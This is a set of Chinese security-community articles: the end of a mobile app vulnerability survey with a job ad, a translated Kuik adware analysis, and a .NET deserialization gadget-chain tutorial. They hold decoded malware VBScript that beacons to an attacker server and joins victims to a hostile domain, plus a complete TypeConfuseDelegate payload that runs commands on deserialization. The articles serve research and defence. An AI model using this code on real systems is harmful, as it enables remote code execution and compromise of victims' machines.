RCE，危害更大。2019 看雪安全开发者大会也针对该类型在 iOS 平台的利用做过分享[《是谁推开我的“窗”：iOS App
接口安全分析》](https://bbs.pediy.com/thread-253366.htm)
除此以外利用 Deep links 实现 CSRF 也有很多经典实例，与之对应的 App Links 也有由于开发者错误配置导致的敏感信息泄漏漏洞
[#855618](https://hackerone.com/reports/855618)。在数量方面逻辑漏洞、本地身份认证绕过等也是重要的攻击面。更多业务上云使得
API 漏洞呈现较大增长，其中不乏由于安装包泄漏后端 API 敏感信息导致的漏洞，篇幅有限不再展开。
## 总结
移动操作系统安全性不断增强以及业务云端迁移使得移动 App 漏洞比过往更难挖掘，但未来仍有许多需要耕耘的方向，这里斗胆列举几个
* 反序列化漏洞的利用
* 与 Web 漏洞结合
* 系统层面影响应用层安全的漏洞
* 剥离通信保护的服务端漏洞
以最后一个为例，最近几年对于通信安全方面有关部门出台了诸多标准，典型的如《JR/T 0092-2019》和《JR/T 0171-2020》，与此同时
HTTPS 协议，SSL Pinning，数据包完整性校验等多管齐下的保护使得 API
渗透愈发困难，但通信保护不会在根本上缓解漏洞的发生，仍大有可为，望所有人都不负韶华。
参考：
<https://developer.apple.com/support/app-store/>
<https://developer.android.com/about/dashboards?hl=zh-cn>
<https://blog.lookout.com/trident-pegasus>
<https://www.pingwest.com/a/72985>
<https://hackerone.com/reports/401793>
**快快加入我们吧！**
【公司】长亭科技
【工作地点】北京
【岗位】移动安全工程师（正式/实习）
【薪酬】15-40K
【联系】简历投递邮箱：[[email protected]](mailto:[email protected])
岗位职责：
1.挖掘和审计 Android/iOS App 漏洞
2.参与自动化测试技术研究和实践
3.移动安全技术对抗持续研究
任职要求：
1.认真踏实
2.熟悉 Android/iOS App 攻击面及常见攻防技术
3.熟悉 ARM 逆向，常见加密算法及协议
4.基础扎实，熟练使用逆向、插桩、协议分析等工具
5.具有一定研究新技术能力
加分项：
1.在相关漏洞平台或 SRC 提交过优质漏洞
2.参与过 CTF 类竞赛
3.了解当前最新应用加壳与脱壳技术
4.熟悉 Web 渗透
5.拥有自动化测试经验 | 社区文章 |
# 针对Kuik恶意广告软件的分析
|
##### 译文声明
本文是翻译文章，文章来源：https://blog.malwarebytes.com/
原文地址：<https://blog.malwarebytes.com/threat-analysis/2018/05/kuik-simple-yet-annoying-piece-adware/>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
一些恶意软件可能编写很简单，但却可能带给用户巨大的痛苦，比如今天我们要讲的Kuik广告软件，情况就是这样。作者使用这种不寻常的技术将谷歌浏览器扩展程序和挖矿应用程序推送给受害者。在此博客中，我们将提供此广告软件的技术分析和自定义删除说明。‘’
## 技术说明
### 第1阶段 – .NET安装程序
[0ba20fee958b88c48f3371ec8d8a8e5d](https://www.virustotal.com/#/file/b9323268bf81778329b8316dec8f093fe71104f16921a1c9358f7ba69dd52686/details)
第一阶段是用.NET编写的，它会模仿Adobe Flash
Player的图标(这是捆绑软件的典型特征)，并提示更新软件组件，但却将自己的代码添加到原始安装程序中。
用dotNet反编译器（即dnSpy）打开后，我们发现该项目的原始名称是 `WWVaper`。
它有三个内部资源：
* 证书（svr.crt）
* 一个合法的Flash（decoy）
* 下一阶段组件（upp.exe）
证书：
> ——- BEGIN CERTIFICATE ——-
> MIIEZjCCA06gAwIBAgIJAPywkVD7m / 9XMA0GCSqGSIb3DQEBCwUAMHMxCzAJBgNV
> BAYTAlVTMQswCQYDVQQIDAJOWTERMA8GA1UEBwwITmV3IFlvcmsxFTATBgNVBAoM
> DEV4YW1wbGUsIExMQzEMMAoGA1UEAwwDYWxsMR8wHQYJKoZIhvcNAQkBFhB0ZXN0
> QGV4YW1wbGUuY29tMB4XDTE4MDIxNjIyMjA0M1oXDTE5MDIxNjIyMjA0M1owczEL
> MAkGA1UEBhMCVVMxCzAJBgNVBAgMAk5ZMREwDwYDVQQHDAhOZXcgWW9yazEVMBMG
> A1UECgwMRXhhbXBsZSwgTExDMQwwCgYDVQQDDANhbGwxHzAdBgkqhkiG9w0BCQEW
> EHRlc3RAZXhhbXBsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
> AQDMohZZUrsJOqXS1 / eTpGGOMDxEE + YmRLmSU5h / K4tmnkr7Tv9cukICp / Xxnrci
> 5ONLdqgQFH1xLxLa6Xo + 2X075NS0VjfMPx9WvYPSZ / T7uQQhb8Mc + ojjNoHK0JbD
> oPjiuiGTLllq1AQ34kvQa6k8E7GPjSdrQnPF55 + aWAdPSIDcdqxMt1uFOcF0DY4y
> vHNpFw1xsjpYuvw1 / MvwITr3A + PdKN9TIMzDgbXTZEtc7rWDah4HtIYSJZ2xwIcH
> qp6xU9FypSV6JnbITlv4gZkUuI2HeiNpSGGd55KOtk5pDhuGeNfLGor6eWcSG6eX
> N6erGBkM7VTfJ5yM9Pxfcu + hAgMBAAGjgfwwgfkwHQYDVR0OBBYEFCZDbmCp6xnU
> 3F / U3InMEiuduPEMMB8GA1UdIwQYMBaAFCZDbmCp6xnU3F / U3InMEiuduPEMMAkG
> A1UdEwQCMAAwCwYDVR0PBAQDAgWgMHEGA1UdEQRqMGiCCXlhaG9vLmNvbYINd3d3
> LnlhaG9vLmNvbYIKZ29vZ2xlLmNvbYIOd3d3Lmdvb2dsZS5jb22CCWdvb2dsZS5t
> ZYINd3d3Lmdvb2dsZS5tZYIIYmluZy5jb22CDHd3dy5iaW5nLmNvbTAsBglghkgB
> hvhCAQ0EHxYdT3BlblNTTCBHZW5lcmF0ZWQgQ2VydGlmaWNhdGUwDQYJKoZIhvcN
> AQELBQADggEBAMQm1OHLdcYvQK6aMPgYdOozkDT20DuJ6NZD1Frljjex7NzB7nVm
> AC + 3h1huSyqxYGbJQ8J3wLOYRZH + N5GOZUvjwrU + NY5KurWbMj6USMfsWfnnSXQi
> 0ADyjYZqtPMmIaIK86yPx4t + 3mA8VX5nDRurjKoprTKwaQpxKksZ0kkpitN1epZX
> 2g1YJAnjnq / 9Ilt3MOCEpoCnUz5E + bgQO9AS9ZQqNryuGFfzjgXxLbYBbyDVknZ0
> 2zz4Zzkm2QBCIGi5jigz7VmwmcpIhJPH9QKlCw5Dx + F3mepR01UMaiwEBDGIeSWX
>
> * joBVMKdqhFu9zChlN0dW0hbViIm + gDYsCQ =
> ——- END CERTIFICATE ——->
证书详情：
证书指向yahoo.com的DNS名称。但是，认证路径无效：
.NET安装程序负责安装恶意证书和其他组件。首先，它枚举网络接口并将收集的IP添加到列表中：
然后，它将新的IP作为DNS（18.219.162.248）添加到收集的接口。它还安装自己的证书（svr.crt）：
### 第2阶段 – upp.exe
[3a13b73f823f081bcdc57ea8cc3140ac](https://www.virustotal.com/#/file/990c019319fc18dca473ac432cdf4c36944b0bce1a447e85ace819300903a79e/details)
此应用程序是一个未混淆的安装程序包。在里面，我们找到了一个cabinet文件：
它包含要删除的其他模块：
应用程序`“install.exe”`以`“setup.bat”`作为参数进行部署。
### 第3阶段 – 从cabinet中取出组件
应用程序`install.exe`是基本的。它的唯一作用是在elevated 模式下运行下一个进程。在下面，你可以看到它的主要功能：
脚本`setup.bat`部署了另一个名为`SqadU9FBEV.bat`的组件：
它通过`ping 127.0.0.1`来延迟执行。然后，它运行第二个编码脚本，为其提供一个活动ID作为参数：
下一个部署的元素是一个编码的VBS脚本：
在解码之后（用 这个解码器），我们看到了这个脚本：`NYkjVVXepl.vbs`。我们还看到它将系统和信标指纹到服务器：
Set SystemSet = GetObject("winmgmts:").InstancesOf ("Win32_OperatingSystem")
for each System in SystemSet
winVer = System.Caption
next
Function trackEvent(eventName, extraData)
Set tracking = CreateObject("MSXML2.XMLHTTP")
tracking.open "GET", "http://eventz.win:13463/trk?event=" & eventName & "&computer=" & UUID & "&windows-version=" & winVer & "&error=" & err.Number & ";" & err.Description & ";" & err.Source & ";" & extraData & "&campaign=qavriknzkk&channel=" & WScript.Arguments.Item(0), False
tracking.send
err.clear
End Function
这个片段是将受感染的计算机添加到域：
SET objNetwork = CREATEOBJECT("WScript.Network")
strComputer = objNetwork.ComputerName
SET objComputer = GetObject("winmgmts:" & "{impersonationLevel=Impersonate,authenticationLevel=Pkt}!\" & strComputer & "rootcimv2:Win32_ComputerSystem.Name='" & strComputer & "'")
ReturnValue = objComputer.JoinDomainOrWorkGroup("kuikdelivery.com", "4sdOwt7b7L1vAKR6U7", "kuikdelivery.comadministrator", "OU=" & WScript.Arguments.Item(0) & ",DC=kuikdelivery,DC=com", JOIN_DOMAIN + ACCT_CREATE + DOMAIN_JOIN_IF_JOINED + JOIN_UNSECURE)
If (ReturnValue 0) Or (err.number 0) Then
trackEvent "join-domain-failed", ReturnValue
WScript.Quit 1
Else
trackEvent "join-domain-success", Null
WScript.Quit 0
End IF
## Payloads
这个程序使用了一系列的payloads，但是这个伪造的Chrome扩展似乎特别受欢迎。此外，还有一些挖矿程序正在服务：
## 删除
Malwarebytes 用户（版本3.x）可以通过运行全面扫描从系统中移除此威胁。删除包括取消加入恶意域控制器以将您的机器恢复到其原始状态。
### 妥协指标
**Kuik**
b9323268bf81778329b8316dec8f093fe71104f16921a1c9358f7ba69dd52686
990c019319fc18dca473ac432cdf4c36944b0bce1a447e85ace819300903a79e
**Chrome扩展程序**
d-and-h[.]com/fljlngkbcebmlpdlojnndahifaocnipb.crx
d-and-h[.]com/123.crx
d-and-h[.]com/jpfhjoeaokamkacafjdjbjllgkfkakca.crx
d-and-h[.]com/mmemdlochnielijcfpmgiffgkpehgimj.crx
kuikdelivery[.]com/emhifpfmcmoghejbfcbnknjjpifkmddc.crx
tripan[.]me/kdobijehckphahlmkohehaciojbpmdbp.crx
**payloads**
92996D9E7275006AB6E59CF4676ACBB2B4C0E0DF59011347CE207B219CB2B751
33D86ABF26EFCDBD673DA5448C958863F384F4E3E678057D6FAB735968501268
7889CB16DB3922BEEFB7310B832AE0EF60736843F4AD9FB2BFE9D8B05E48BECD
761D62A22AE73307C679B096030BF0EEC93555E13DC820931519183CAA9F1B2A
871AD057247C023F68768724EBF23D00EF842F0B510A3ACE544A8948AE775712 | 社区文章 |
**作者：HuanGMz@知道创宇404实验室
时间：2020年11月30日**
## 一.TypeConfuseDelegate工具链
> TypeConfuseDelegate 工具链
> 利用了SortedSet类在反序列化时调用比较器进行排序，以及多播委托可以修改委托实例的特点实现在反序列化时执行代码
### 0x10 基础知识
#### 0x11 SortedSet<T>
SortedSet<T> 从其名字就可以看出其用处，可排序的set，表示按排序顺序维护的对象的集合。<T> 为泛型用法，T表示集合中元素的类型。
既然是可排序的，那么集合中的元素要依据什么进行排序呢？我们看一个SortedSet 的例子就知道了：
// Defines a comparer to create a sorted set
// that is sorted by the file extensions.
public class ByFileExtension : IComparer<string>
{
string xExt, yExt;
CaseInsensitiveComparer caseiComp = new CaseInsensitiveComparer();
public int Compare(string x, string y)
{
// Parse the extension from the file name.
xExt = x.Substring(x.LastIndexOf(".") + 1);
yExt = y.Substring(y.LastIndexOf(".") + 1);
// Compare the file extensions.
int vExt = caseiComp.Compare(xExt, yExt);
if (vExt != 0)
{
return vExt;
}
else
{
// The extension is the same,
// so compare the filenames.
return caseiComp.Compare(x, y);
}
}
}
...
// Create a sorted set using the ByFileExtension comparer.
var set = new SortedSet<string>(new ByFileExtension());
set.Add("hello.a");
set.Add("hello.b");
可以看到，在实例化 SortedSet类的时候，指定当前集合中元素类型为string，同时传入了一个 ByFileExtension 实例 做为初始化参数。
ByFileExtension 类是一个“比较器”，专门提供给 SortedSet 用于排序。其类型继承于 IComparer<T> 接口。
我们看一下SortedSet 的初始化函数:
IComparer<T> comparer;
...
public SortedSet(IComparer<T> comparer) {
if (comparer == null) {
this.comparer = Comparer<T>.Default;
} else {
this.comparer = comparer;
}
}
可以看到，传入的比较器被存储在 comparer字段中，该字段类型也为 IComparer<T> 类型。
**Icomparer <T>**
public interface IComparer<in T>
{
// Compares two objects. An implementation of this method must return a
// value less than zero if x is less than y, zero if x is equal to y, or a
// value greater than zero if x is greater than y.
//
int Compare(T x, T y);
}
这是一个接口类型，定义了一个Comparer() 方法，该方法用于比较同类型的两个对象，规定返回结果为int型。
上面例子中的 ByFileExtension 类型便继承于 IComparer<T>，其实现了Compare方法，用于比较两个string 对象。
SortedSet 便是利用这样一个比较器来给同类型的两个对象排序。
回到SortedSet 的用法:
set.Add("hello.a");
set.Add("hello.b");
其通过调用Add方法来给集合添加元素。这里有一个细节，在第一次Add时不会调用比较器，从第二次Add才开始调用比较器（合理）。
#### 0x12 ComparisonComparer<T>
**Comparer <T>**
Comparer<T> 是 Icomparer<T>接口的一个实现，其源码如下：
public abstract class Comparer<T> : IComparer, IComparer<T>
{
static readonly Comparer<T> defaultComparer = CreateComparer();
public static Comparer<T> Default {
get {
Contract.Ensures(Contract.Result<Comparer<T>>() != null);
return defaultComparer;
}
}
public static Comparer<T> Create(Comparison<T> comparison)
{
Contract.Ensures(Contract.Result<Comparer<T>>() != null);
if (comparison == null)
throw new ArgumentNullException("comparison");
return new ComparisonComparer<T>(comparison);
}
...
public abstract int Compare(T x, T y);
int IComparer.Compare(object x, object y) {
if (x == null) return y == null ? 0 : -1;
if (y == null) return 1;
if (x is T && y is T) return Compare((T)x, (T)y);
ThrowHelper.ThrowArgumentException(ExceptionResource.Argument_InvalidArgumentForComparison);
return 0;
}
}
我们重点关注 Comparer.Create() 函数，该函数创建了一个 ComparisonComparer<T> 类型，并将其返回。
我们看一下 ComparisonComparer<T> 类型是啥？
[Serializable]
internal class ComparisonComparer<T> : Comparer<T>
{
private readonly Comparison<T> _comparison;
public ComparisonComparer(Comparison<T> comparison) {
_comparison = comparison;
}
public override int Compare(T x, T y) {
return _comparison(x, y);
}
}
这是一个可序列化的类型，其继承于 Comparer<T>，所以也是一个比较器。
我们关注其用于比较的函数Compare()，该函数直接调用了 _comparison() 函数。而_comparison
字段是一个Comparison<T> 类型，在初始化时被传入并设置。Comparison<T> 是什么类型？
public delegate int Comparison<in T>(T x, T y);
原来这是一个委托类型，其函数签名与比较函数相同。
目前为止，我们应认识到ComparisonComparer<T> 有如下的关键：
* 是一个比较器，且比较函数可自定义
* 可序列化
### 0x20 SortedSet<T> 的反序列化
在SortedSet<T> 类里，有一个OnDeserialization 函数:
void IDeserializationCallback.OnDeserialization(Object sender) {
OnDeserialization(sender);
}
protected virtual void OnDeserialization(Object sender) {
if (comparer != null) {
return; //Somebody had a dependency on this class and fixed us up before the ObjectManager got to it.
}
if (siInfo == null) {
ThrowHelper.ThrowSerializationException(ExceptionResource.Serialization_InvalidOnDeser);
}
comparer = (IComparer<T>)siInfo.GetValue(ComparerName, typeof(IComparer<T>));
int savedCount = siInfo.GetInt32(CountName);
if (savedCount != 0) {
T[] items = (T[])siInfo.GetValue(ItemsName, typeof(T[]));
if (items == null) {
ThrowHelper.ThrowSerializationException(ExceptionResource.Serialization_MissingValues);
}
for (int i = 0; i < items.Length; i++) {
Add(items[i]);
}
}
version = siInfo.GetInt32(VersionName);
if (count != savedCount) {
ThrowHelper.ThrowSerializationException(ExceptionResource.Serialization_MismatchedCount);
}
siInfo = null;
}
IDeserializationCallback 接口定义的 OnDeserialization() 方法用于在反序列化后自动调用。
观看SortedSet 的OnDeserialization() 函数，可以看到其先取出 Comparer赋给当前新的
SortedSet<T>对象，即this，然后调用Add方法来添加元素。我们前面已经知道使用Add方法添加第二个元素时就会开始调用比较函数。也就是说，在反序列化SortedSet<T>
时，会触发SortedSet<T>排序，进而调用设置的比较器中的比较函数。
由于我们可以设置比较函数，而且传给比较函数的两个参数就是Add的前两个string 元素(可控)，那么如果将比较函数设置为Process.Start()
函数，我们就可以实现代码执行了。
### 0x30 构造payload
对于SortedSet<string> 类来说，其比较函数类型为：
int Comparison<in T>(T x, T y);
而Process.Start()中比较相似的是：
public static Process Start(string fileName, string arguments);
但是其返回值类型为 Process类型，仍然与比较函数不同。如果我们直接将比较器的比较函数替换为Process.Start会导致在序列化时失败。
那么要如何做？可以借多播委托来替换调用函数，如下：
static void TypeConfuseDelegate(Comparison<string> comp)
{
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList",
BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = comp.GetInvocationList();
// Modify the invocation list to add Process::Start(string, string)
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(comp, invoke_list);
}
static void Main(string[] args)
{
// Create a simple multicast delegate.
Delegate d = new Comparison<string>(String.Compare);
Comparison<string> c = (Comparison<string>)MulticastDelegate.Combine(d, d);
// Create set with original comparer.
IComparer<string> comp = Comparer<string>.Create(c);
TypeConfuseDelegate(c);
...
}
MulticastDelegate
即多播委托。所谓多播，就是将多个委托实例合并为一个委托，即多播委托。在调用多播委托时，会依次调用调用列表里的委托。在合并委托时只能合并同类型的委托。
我们先看 MulticastDelegate.Combine函数，该函数继承自 delegate类型：
public static Delegate Combine(Delegate a, Delegate b)
{
if ((Object)a == null) // cast to object for a more efficient test
return b;
return a.CombineImpl(b);
}
跟入 CombineImpl():
protected override sealed Delegate CombineImpl(Delegate follow)
{
if ((Object)follow == null) // cast to object for a more efficient test
return this;
// Verify that the types are the same...
if (!InternalEqualTypes(this, follow))
throw new ArgumentException(Environment.GetResourceString("Arg_DlgtTypeMis"));
MulticastDelegate dFollow = (MulticastDelegate)follow;
Object[] resultList;
int followCount = 1;
Object[] followList = dFollow._invocationList as Object[];
if (followList != null)
followCount = (int)dFollow._invocationCount;
int resultCount;
Object[] invocationList = _invocationList as Object[];
if (invocationList == null)
{
resultCount = 1 + followCount;
resultList = new Object[resultCount];
resultList[0] = this;
if (followList == null)
{
resultList[1] = dFollow;
}
else
{
for (int i = 0; i < followCount; i++)
resultList[1 + i] = followList[i];
}
return NewMulticastDelegate(resultList, resultCount);
}
...
由于a和b都是 delegate类型的变量，这里将其转换为 MulticastDelegate（继承自 delegate） 类型。而
MulticastDelegate 有两个重要的字段，_invocationList 和 _invocationCount。_invocationList
是一个数组，存放的是需要多播的委托实例。_invocationCount 则是对应的个数。
由于a和b都是由 delegate 转换为 MulticastDelegate，所以其 _invocationList
默认为null，_invocationCount为0。所以该函数会创建一个新数组，存放a和b，并赋给 _invocationList
，然后将_invocationCount 设置为2，然后返回一个新的 MulticastDelegate 变量。
我们在创建好MulticastDelegate 对象后，直接替换其 _invocationList 中的多播实例为 new Func<string,
string, Process>(Process.Start)。_invocationList 是object[] 类型，所以不会报错。
而在调用多播委托时，由于输入参数类型相同，所以也不会造成问题。实际上，这与c语言中通过函数指针调用函数的问题相同，涉及到的是函数调用约定的问题。比如我将要替换的委托实例由
Process.Start 改为如下：
static int compfunc(ulong a, ulong b)
{
Console.WriteLine("{0:X}", a);
Console.WriteLine("{0:X}", b);
Process.Start("calc");
return 1;
}
invoke_list[1] = new Func<ulong, ulong, int>(compfunc);
ulong 为64位无符号类型，这时查看打印的数据以及对应内存（Add的数据分别是"calc" 和 "adummy"）：
很明显，通过多播委托调用委托实例时，传递过去的是两个sring对象，而委托以ulong类型接收。在内存中查看ulong变量所存放的地址，很明显是string对象。所以在调用委托时，传递的其实是两个string对象的指针，我们完全可以以64位的ulong类型正常接收。这涉及到C#
底层的调用约定，我没有了解过，这里就不再多说。
完整的payload（来自 James Forshaw）：
using System;
using System.Collections.Generic;
using System.Runtime.Serialization.Formatters.Binary;
using System.IO;
using System.Reflection;
using System.Diagnostics;
namespace SortedListTest
{
class Program
{
static int compfunc(string a, string b)
{
Process.Start(a, b);
return 1;
}
static void TypeConfuseDelegate(Comparison<string> comp)
{
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList",
BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = comp.GetInvocationList();
// Modify the invocation list to add Process::Start(string, string)
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(comp, invoke_list);
}
static void Main(string[] args)
{
// Create a simple multicast delegate.
Delegate d = new Comparison<string>(String.Compare);
Comparison<string> c = (Comparison<string>)MulticastDelegate.Combine(d, d);
// Create set with original comparer.
IComparer<string> comp = Comparer<string>.Create(c);
SortedSet<string> mysl = new SortedSet<string>(comp);
mysl.Add("calc");
mysl.Add("adummy");
TypeConfuseDelegate(c);
BinaryFormatter fmt = new BinaryFormatter();
BinaryFormatter fmt2 = new BinaryFormatter();
MemoryStream stm = new MemoryStream();
fmt.Serialize(stm, mysl);
stm.Position = 0;
fmt2.Deserialize(stm);
}
}
}
注意一点，在反序列化时进行比较的元素顺序与原来添加时是相反的。比如这里，我先添加"calc"，后添加“adummy"，假如第二次添加时原比较函数为cs，则此时调用为:
cs("adummy", "calc")，而反序列化时调用比较函数则为 Process.Start( “calc", "adummy")。
这也是为什么一定要将TypeConfuseDelegate() 放在Add()
后面，否则在第二次Add时就会出现Process.Start(”adummy", "calc") 的错误（找不到可执行文件）。
## 二. ActivitySurrogateSelectorGenerator 工具链
### 0x10 选择器和代理器
#### 0x11 基础知识
0x10 BinaryFormatter 有一个字段叫做： SurrogateSelector，继承于ISurrogateSelecor接口。
// 摘要:
// 获取或设置控制序列化和反序列化过程的类型替换的 System.Runtime.Serialization.ISurrogateSelector.
//
// 返回结果:
// 要与此格式化程序一起使用的代理项选择器。
public ISurrogateSelector SurrogateSelector { get; set; }
该字段指定一个代理选择器，可用于为当前BinaryFormatter实例选择一个序列化代理器，用于在序列化时实现代理操作。注意有两个概念：
**代理选择器** 和 **序列化代理器** ， **代理选择器** 用于选择出一个 **序列化代理器** 。为了避免绕口，以下简称 选择器 和 代理器。
查看 ISurrogateSelector 接口：
public interface ISurrogateSelector {
// Interface does not need to be marked with the serializable attribute
// Specifies the next ISurrogateSelector to be examined for surrogates if the current
// instance doesn't have a surrogate for the given type and assembly in the given context.
void ChainSelector(ISurrogateSelector selector);
// Returns the appropriate surrogate for the given type in the given context.
ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector);
// Return the next surrogate in the chain. Returns null if no more exist.
ISurrogateSelector GetNextSelector();
}
从其注释 中我们可以看出，选择器是链状的。而GetSurrogate() 函数用于给出当前选择器所选择的 代理器，其返回值为
ISerializationSurrogate 类型。
SurrogateSelector 类是 ISurrogateSelector接口的实现，相较于原接口，其有增加了几个函数：
public class SurrogateSelector : ISurrogateSelector
{
public SurrogateSelector();
public virtual void AddSurrogate(Type type, StreamingContext context, ISerializationSurrogate surrogate);
public virtual void ChainSelector(ISurrogateSelector selector);
public virtual ISurrogateSelector GetNextSelector();
public virtual ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector);
public virtual void RemoveSurrogate(Type type, StreamingContext context);
}
其中 AddSurrogate() 和 RemoveSurrogate() 用于直接向当前选择器中添加和删除代理器。
看完了选择器，我们再看一看代理器：
public interface ISerializationSurrogate {
// Interface does not need to be marked with the serializable attribute
// Returns a SerializationInfo completely populated with all of the data needed to reinstantiate the
// the object at the other end of serialization.
void GetObjectData(Object obj, SerializationInfo info, StreamingContext context);
// Reinflate the object using all of the information in data. The information in
// members is used to find the particular field or property which needs to be set.
Object SetObjectData(Object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector);
}
接口只定义了两个函数。其中，GetObjectData()
函数在序列化时使用，用于从对象实例中获取内容，然后传给SerializationInfo，SetObjectData()
函数在反序列化时使用，用于从SerializationInfo 中获取内容，然后赋给对象实例。这两个函数即体现出了代理的意义。
微软文档中给出了一个 代理器的例子：
// This class can manually serialize an Employee object.
sealed class EmployeeSerializationSurrogate : ISerializationSurrogate
{
// Serialize the Employee object to save the object's name and address fields.
public void GetObjectData(Object obj,
SerializationInfo info, StreamingContext context)
{
var emp = (Employee) obj;
info.AddValue("name", emp.name);
info.AddValue("address", emp.address);
}
// Deserialize the Employee object to set the object's name and address fields.
public Object SetObjectData(Object obj,
SerializationInfo info, StreamingContext context,
ISurrogateSelector selector)
{
var emp = (Employee) obj;
emp.name = info.GetString("name");
emp.address = info.GetString("address");
return emp;
}
}
文档中有一句很有意思： _下面的代码示例演示如何创建一个序列化代理类，该类知道如何正确地序列化或反序列化本身无法序列化的类。_
序列化代理器可以用于序列化和反序列化 **原本无法序列化的类** 。在例子中确实如此。经过调试，发现秘密在这里。
internal void InitSerialize(Object obj, ISurrogateSelector surrogateSelector, StreamingContext context, SerObjectInfoInit serObjectInfoInit, IFormatterConverter converter, ObjectWriter objectWriter, SerializationBinder binder)
{
...
if (surrogateSelector != null && (serializationSurrogate = surrogateSelector.GetSurrogate(objectType, context, out surrogateSelectorTemp)) != null)
{
SerTrace.Log( this, objectInfoId," Constructor 1 trace 3");
si = new SerializationInfo(objectType, converter);
if (!objectType.IsPrimitive)
serializationSurrogate.GetObjectData(obj, si, context);
InitSiWrite();
}
else if (obj is ISerializable)
{
if (!objectType.IsSerializable) {
throw new SerializationException(Environment.GetResourceString("Serialization_NonSerType",
objectType.FullName, objectType.Assembly.FullName));
}
si = new SerializationInfo(objectType, converter, !FormatterServices.UnsafeTypeForwardersIsEnabled());
((ISerializable)obj).GetObjectData(si, context);
}
else
{
SerTrace.Log(this, objectInfoId," Constructor 1 trace 5");
InitMemberInfo();
CheckTypeForwardedFrom(cache, objectType, binderAssemblyString);
}
}
这是 WriteObjectInfo.InitSerialize()
函数，其中在判断被序列化对象是否可序列化之前，先判断当前是否有代理选择器。如果有，则调用GetSurrogate()
函数获取代理器，并使用代理器继续进行序列化。
虽然序列化代理器可以用于序列化和反序列化
本身不可序列化的类，但是目前为止我们还没法直接将其用于反序列化漏洞，原因：选择器和代理器都是我们自定义的，只有在反序列化时同样也为BinaryFormatter
指定选择器和代理器才可以正常进行反序列化。而真实环境中目标在进行反序列化时根本不会进行代理，也不可能知道我们的代理器是什么样的。
#### 0x12 ObjectSerializedRef 和 ObjectSurrogate
好在 James Forshaw 发现了类 ObjectSerializedRef ，ObjectSerializedRef 在
类ObjectSurrogate 里面使用，而ObjectSurrogate 在 ActivitySurrogateSelector里调用。其中
ObjectSurrogate 是一个代理器，ActivitySurrogateSelector则是一个选择器，在一定情况下返回
ObjectSurrogate 作为代理器。
那么代理器ObjectSurrogate 有什么特殊呢？
* 因为它是代理器，所以通过它进行序列化时，可以序列化原本不可序列化的类。
* 经过它序列化产生的 binary数据包含足够多的信息，在反序列化时，不需要特意指定选择器和代理器。
也就是说，通过ObjectSurrogate 代理产生的序列化数据，直接拿给BinaryFormatter
进行反序列化(不指定选择器和代理器)，能够成功的进行反序列化，即使被序列化的类原本不可以序列化。
例子：
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.IO;
using System.Configuration;
namespace ActivitySurrogateSelectorGeneratorTest
{
// Definitely non-serializable class.
class NonSerializable
{
private string _text;
public NonSerializable(string text)
{
_text = text;
}
public override string ToString()
{
return _text;
}
}
// Custom serialization surrogate
class MySurrogateSelector : SurrogateSelector
{
public override ISerializationSurrogate GetSurrogate(Type type,
StreamingContext context, out ISurrogateSelector selector)
{
selector = this;
if (!type.IsSerializable)
{
Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
return (ISerializationSurrogate)Activator.CreateInstance(t);
}
return base.GetSurrogate(type, context, out selector);
}
}
class Program
{
static void TestObjectSerializedRef()
{
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
BinaryFormatter fmt = new BinaryFormatter();
MemoryStream stm = new MemoryStream();
fmt.SurrogateSelector = new MySurrogateSelector();
fmt.Serialize(stm, new NonSerializable("Hello World!"));
stm.Position = 0;
// Should print Hello World!.
var fmt2 = new BinaryFormatter();
Console.WriteLine(fmt2.Deserialize(stm));
}
static void Main(string[] args)
{
TestObjectSerializedRef();
}
}
}
注意，在4.8以上的.NET版本中需要关闭
ActivitySurrogateSelectorTypeCheck（这是相关的补丁），也就是TestObjectSerializedRef 里的第一句。
老实说，我到现在还没整明白，这个代理器生成的序列化数据在反序列化时为什么不需要指定选择器和代理器。。。。
上面的例子中没什么好说的，就是自己定义了一个选择器 MySurrogateSelector，重载其 GetSurrogate() 函数，使其返回一个
ObjectSurrogate 实例作为代理器。然后就可以通过该选择器 进行 序列化数据了。
原本在构造工具链时，我们只能搜索可序列化的类，比如SortedSet。但是，现在有了这个工具，我们就可以把范围扩展到不可序列化的，委托可修改的类。
### 0x20 LINQ
#### 0x21 基础知识
LINQ (Language Integrated Query) 语言集成查询。用于对集合执行查询操作，例子如下：
string sentence = "the quick brown fox jumps over the lazy dog";
// Split the string into individual words to create a collection.
string[] words = sentence.Split(' ');
// Using query expression syntax.
var query = from word in words
group word.ToUpper() by word.Length into gr
orderby gr.Key
select new { Length = gr.Key, Words = gr };
看上去LINQ语句和我们所熟悉的SQL 语句差不多，但更接近真相的写法其实是下面这样的：
// Using method-based query syntax.
var query2 = words.
GroupBy(w => w.Length, w => w.ToUpper()).
Select(g => new { Length = g.Key, Words = g }).
OrderBy(o => o.Length);
words 是集合对象(也有叫序列)，实现了IEnumerable<T>接口。
看上去words 是一个string 数组，其实这是 **集合初始化器** ： _允许采用和数组声明相似的方式，在集合实例化期间用一组初始成员构造该集合_
。
根据官方文档的说法： _有两套LINQ标准查询运算符，一套对 IEnumerable <T>
类型，一套对IQueryable<T>类型进行操作。组成每个集合的方法分别是Enumerable和Queryable类的静态成员。他们被定义为对其进行操作的类型的扩展方法。可以通过使用静态方法语法或实例方法语法来调用扩展方法_。这些方法便是
**标准查询操作符** ，如下：
以上面的Where操作符为例，该函数返回的仍然是一个集合。该函数有两个参数，一个是source，为输入的集合，一个是predicate
